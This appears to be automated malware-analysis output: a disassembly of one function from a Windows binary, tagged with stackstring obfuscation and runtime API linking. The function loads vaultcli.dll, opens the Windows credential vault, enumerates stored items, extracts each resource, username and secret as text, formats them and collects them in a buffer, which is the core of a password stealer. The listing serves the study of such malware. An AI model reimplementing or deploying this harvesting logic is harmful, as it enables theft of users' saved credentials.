Function at 0x409681
Capabilities:
Contain obfuscated stackstrings
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
push esi
push ebx
sub esp, 0x490
mov byte [ebp - 0x4c], 0x42
mov byte [ebp - 0x4b], 0xc4
mov byte [ebp - 0x4a], 0xf4
mov byte [ebp - 0x49], 0x4b
mov byte [ebp - 0x48], 0x8a
mov byte [ebp - 0x47], 0x9b
mov byte [ebp - 0x46], 0xa0
mov byte [ebp - 0x45], 0x41
mov byte [ebp - 0x44], 0xb3
mov byte [ebp - 0x43], pe_nt_image_headers32
mov byte [ebp - 0x42], 0xdd
mov byte [ebp - 0x41], 0x4a
mov byte [ebp - 0x40], 0x70
mov byte [ebp - 0x3f], 0x4d
mov byte [ebp - 0x3e], 0xdb
mov byte [ebp - 0x3d], 0x28
mov byte [ebp - 0x5c], 0x99
mov byte [ebp - 0x5b], 0x54
mov byte [ebp - 0x5a], 0xcd
mov byte [ebp - 0x59], 0x3c
mov byte [ebp - 0x58], 0xa8
mov byte [ebp - 0x57], 0x87
mov byte [ebp - 0x56], 0x10
mov byte [ebp - 0x55], 0x4b
mov byte [ebp - 0x54], 0xa2
mov byte [ebp - 0x53], 0x15
mov byte [ebp - 0x52], 0x60
mov byte [ebp - 0x51], 0x88
mov byte [ebp - 0x50], 0x88
mov byte [ebp - 0x4f], 0xdd
mov byte [ebp - 0x4e], 0x3b
mov byte [ebp - 0x4d], 0x55
mov dword [ebp - 0x60], 0
mov dword [ebp - 0xc], 0
mov eax, dword [ebp + 8]
mov dword [eax], 0
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x64], 0
mov dword [ebp - 0x68], 0
mov dword [ebp - 0x6c], 0
mov dword [ebp - 0x70], 0
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x20], 0
mov dword [esp], str.vaultcli.dll
call sub.KERNEL32.dll_LoadLibraryA
sub esp, 4
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
jne 0x40977d
mov eax, 0
jmp 0x409e2f
mov dword [esp + 4], str.VaultOpenVault
mov eax, dword [ebp - 0x18]
mov dword [esp], eax
call sub.KERNEL32.dll_GetProcAddress
sub esp, 8
mov dword [ebp - 0x24], eax
mov dword [esp + 4], str.VaultCloseVault
mov eax, dword [ebp - 0x18]
mov dword [esp], eax
call sub.KERNEL32.dll_GetProcAddress
sub esp, 8
mov dword [ebp - 0x28], eax
mov dword [esp + 4], str.VaultEnumerateItems
mov eax, dword [ebp - 0x18]
mov dword [esp], eax
call sub.KERNEL32.dll_GetProcAddress
sub esp, 8
mov dword [ebp - 0x2c], eax
mov dword [esp + 4], str.VaultGetItem
mov eax, dword [ebp - 0x18]
mov dword [esp], eax
call sub.KERNEL32.dll_GetProcAddress
sub esp, 8
mov dword [ebp - 0x30], eax
mov dword [esp + 4], str.VaultGetItem
mov eax, dword [ebp - 0x18]
mov dword [esp], eax
call sub.KERNEL32.dll_GetProcAddress
sub esp, 8
mov dword [ebp - 0x34], eax
mov dword [esp + 4], str.VaultFree
mov eax, dword [ebp - 0x18]
mov dword [esp], eax
call sub.KERNEL32.dll_GetProcAddress
sub esp, 8
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x24], 0
sete dl
cmp dword [ebp - 0x2c], 0
sete al
or eax, edx
movzx edx, al
cmp dword [ebp - 0x28], 0
sete al
movzx eax, al
or edx, eax
cmp dword [ebp - 0x30], 0
sete al
movzx eax, al
or edx, eax
cmp dword [ebp - 0x34], 0
sete al
movzx eax, al
or edx, eax
cmp dword [ebp - 0x38], 0
sete al
movzx eax, al
or eax, edx
test eax, eax
je 0x40985f
jmp 0x409de6
lea eax, [ebp - 0x64]
mov dword [esp + 8], eax
mov dword [esp + 4], 0
lea eax, [ebp - 0x4c]
mov dword [esp], eax
mov eax, dword [ebp - 0x24]
call eax
sub esp, 0xc
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
je 0x40988a
jmp 0x409de6
mov eax, dword [ebp - 0x64]
lea edx, [ebp - 0x6c]
mov dword [esp + 0xc], edx
lea edx, [ebp - 0x68]
mov dword [esp + 8], edx
mov dword [esp + 4], 0x200
mov dword [esp], eax
mov eax, dword [ebp - 0x2c]
call eax
sub esp, 0x10
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
je 0x4098bc
jmp 0x409de6
mov eax, dword [ebp - 0x68]
test eax, eax
jne 0x4098c8
jmp 0x409de6
call fcn.0040b8a4
cmp eax, 0x14
je 0x4098e0
call fcn.0040b8a4
cmp eax, 0x15
jne 0x409b6f
mov dword [ebp - 0x10], 0
jmp 0x409b5e
mov edx, dword [ebp - 0x6c]
mov eax, dword [ebp - 0x10]
shl eax, 3
lea ecx, [eax*8]
sub ecx, eax
mov eax, ecx
add eax, edx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x20]
mov dword [esp + 8], 0x10
lea edx, [ebp - 0x5c]
mov dword [esp + 4], edx
mov dword [esp], eax
call fcn.0040b1ca
test eax, eax
jne 0x409b5a
mov eax, dword [ebp - 0x20]
mov eax, dword [eax + 0x10]
mov dword [esp + 0x1c], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0x100
lea edx, [ebp - 0x170]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], 0xffffffff
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov dword [esp], 0
call sub.KERNEL32.dll_WideCharToMultiByte
sub esp, 0x20
mov eax, dword [ebp - 0x20]
mov eax, dword [eax + 0x14]
add eax, 0x20
mov dword [esp + 0x1c], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0x100
lea edx, [ebp - 0x270]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], 0xffffffff
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov dword [esp], 0
call sub.KERNEL32.dll_WideCharToMultiByte
sub esp, 0x20
mov eax, dword [ebp - 0x20]
mov eax, dword [eax + 0x18]
add eax, 0x20
mov dword [esp + 0x1c], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0x100
lea edx, [ebp - 0x370]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], 0xffffffff
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov dword [esp], 0
call sub.KERNEL32.dll_WideCharToMultiByte
sub esp, 0x20
mov dword [ebp - 0x70], 0
mov eax, dword [ebp - 0x20]
mov eax, dword [eax + 0x18]
mov ebx, eax
mov eax, dword [ebp - 0x20]
mov eax, dword [eax + 0x14]
mov ecx, eax
mov edx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x64]
lea esi, [ebp - 0x70]
mov dword [esp + 0x1c], esi
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], ebx
mov dword [esp + 8], ecx
mov dword [esp + 4], edx
mov dword [esp], eax
mov eax, dword [ebp - 0x34]
call eax
sub esp, 0x20
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
jne 0x409b45
mov eax, dword [ebp - 0x70]
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x20]
mov eax, dword [eax + 0x1c]
add eax, 0x20
mov dword [esp + 0x1c], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0x100
lea edx, [ebp - 0x470]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], 0xffffffff
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov dword [esp], 0
call sub.KERNEL32.dll_WideCharToMultiByte
sub esp, 0x20
mov dword [ebp - 0x474], 0
lea eax, [ebp - 0x470]
mov dword [esp + 0x14], eax
lea eax, [ebp - 0x370]
mov dword [esp + 0x10], eax
lea eax, [ebp - 0x270]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 2
mov dword [esp + 4], str._c_s_a_s:_s_b_b_b_b
lea eax, [ebp - 0x474]
mov dword [esp], eax
call fcn.0040af50
mov dword [ebp - 0x3c], eax
cmp dword [ebp - 0x3c], 0xffffffff
je 0x409b45
mov dword [esp + 0x10], 1
mov eax, dword [ebp - 0x3c]
mov dword [esp + 0xc], eax
lea eax, [ebp - 0x474]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0xc]
mov dword [esp + 4], eax
lea eax, [ebp - 0x60]
mov dword [esp], eax
call fcn.0040b2cb
mov dword [ebp - 0x60], eax
mov eax, dword [ebp - 0x3c]
add dword [ebp - 0xc], eax
mov eax, dword [ebp - 0x70]
test eax, eax
je 0x409b5a
mov eax, dword [ebp - 0x70]
mov dword [esp], eax
mov eax, dword [ebp - 0x38]
call eax
sub esp, 4
add dword [ebp - 0x10], 1
mov eax, dword [ebp - 0x68]
cmp dword [ebp - 0x10], eax
jb 0x4098ec
jmp 0x409de6
mov dword [ebp - 0x10], 0
jmp 0x409dda
mov edx, dword [ebp - 0x6c]
mov eax, dword [ebp - 0x10]
imul eax, eax, 0x34
add eax, edx
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
mov dword [esp + 8], 0x10
lea edx, [ebp - 0x5c]
mov dword [esp + 4], edx
mov dword [esp], eax
call fcn.0040b1ca
test eax, eax
jne 0x409dd6
mov eax, dword [ebp - 0x1c]
mov eax, dword [eax + 0x10]
mov dword [esp + 0x1c], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0x100
lea edx, [ebp - 0x170]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], 0xffffffff
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov dword [esp], 0
call sub.KERNEL32.dll_WideCharToMultiByte
sub esp, 0x20
mov eax, dword [ebp - 0x1c]
mov eax, dword [eax + 0x14]
add eax, 0x20
mov dword [esp + 0x1c], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0x100
lea edx, [ebp - 0x270]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], 0xffffffff
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov dword [esp], 0
call sub.KERNEL32.dll_WideCharToMultiByte
sub esp, 0x20
mov eax, dword [ebp - 0x1c]
mov eax, dword [eax + 0x18]
add eax, 0x20
mov dword [esp + 0x1c], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0x100
lea edx, [ebp - 0x370]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], 0xffffffff
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov dword [esp], 0
call sub.KERNEL32.dll_WideCharToMultiByte
sub esp, 0x20
mov dword [ebp - 0x70], 0
mov eax, dword [ebp - 0x1c]
mov eax, dword [eax + 0x18]
mov ebx, eax
mov eax, dword [ebp - 0x1c]
mov eax, dword [eax + 0x14]
mov ecx, eax
mov edx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x64]
lea esi, [ebp - 0x70]
mov dword [esp + 0x18], esi
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], ebx
mov dword [esp + 8], ecx
mov dword [esp + 4], edx
mov dword [esp], eax
mov eax, dword [ebp - 0x30]
call eax
sub esp, 0x1c
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
jne 0x409dc1
mov eax, dword [ebp - 0x70]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
mov eax, dword [eax + 0x1c]
add eax, 0x20
mov dword [esp + 0x1c], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0x100
lea edx, [ebp - 0x470]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], 0xffffffff
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov dword [esp], 0
call sub.KERNEL32.dll_WideCharToMultiByte
sub esp, 0x20
mov dword [ebp - 0x478], 0
lea eax, [ebp - 0x470]
mov dword [esp + 0x14], eax
lea eax, [ebp - 0x370]
mov dword [esp + 0x10], eax
lea eax, [ebp - 0x270]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 2
mov dword [esp + 4], str._c_s_a_s:_s_b_b_b_b
lea eax, [ebp - 0x478]
mov dword [esp], eax
call fcn.0040af50
mov dword [ebp - 0x3c], eax
cmp dword [ebp - 0x3c], 0xffffffff
je 0x409dc1
mov dword [esp + 0x10], 1
mov eax, dword [ebp - 0x3c]
mov dword [esp + 0xc], eax
lea eax, [ebp - 0x478]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0xc]
mov dword [esp + 4], eax
lea eax, [ebp - 0x60]
mov dword [esp], eax
call fcn.0040b2cb
mov dword [ebp - 0x60], eax
mov eax, dword [ebp - 0x3c]
add dword [ebp - 0xc], eax
mov eax, dword [ebp - 0x70]
test eax, eax
je 0x409dd6
mov eax, dword [ebp - 0x70]
mov dword [esp], eax
mov eax, dword [ebp - 0x38]
call eax
sub esp, 4
add dword [ebp - 0x10], 1
mov eax, dword [ebp - 0x68]
cmp dword [ebp - 0x10], eax
jb 0x409b7b
mov eax, dword [ebp - 0x6c]
test eax, eax
je 0x409dfb
mov eax, dword [ebp - 0x6c]
mov dword [esp], eax
mov eax, dword [ebp - 0x38]
call eax
sub esp, 4
mov eax, dword [ebp - 0x64]
test eax, eax
je 0x409e10
lea eax, [ebp - 0x64]
mov dword [esp], eax
mov eax, dword [ebp - 0x28]
call eax
sub esp, 4
cmp dword [ebp - 0x18], 0
je 0x409e24
mov eax, dword [ebp - 0x18]
mov dword [esp], eax
call sub.KERNEL32.dll_FreeLibrary
sub esp, 4
mov eax, dword [ebp + 8]
mov edx, dword [ebp - 0xc]
mov dword [eax], edx
mov eax, dword [ebp - 0x60]
lea esp, [ebp - 8]
pop ebx
pop esi
pop ebp
ret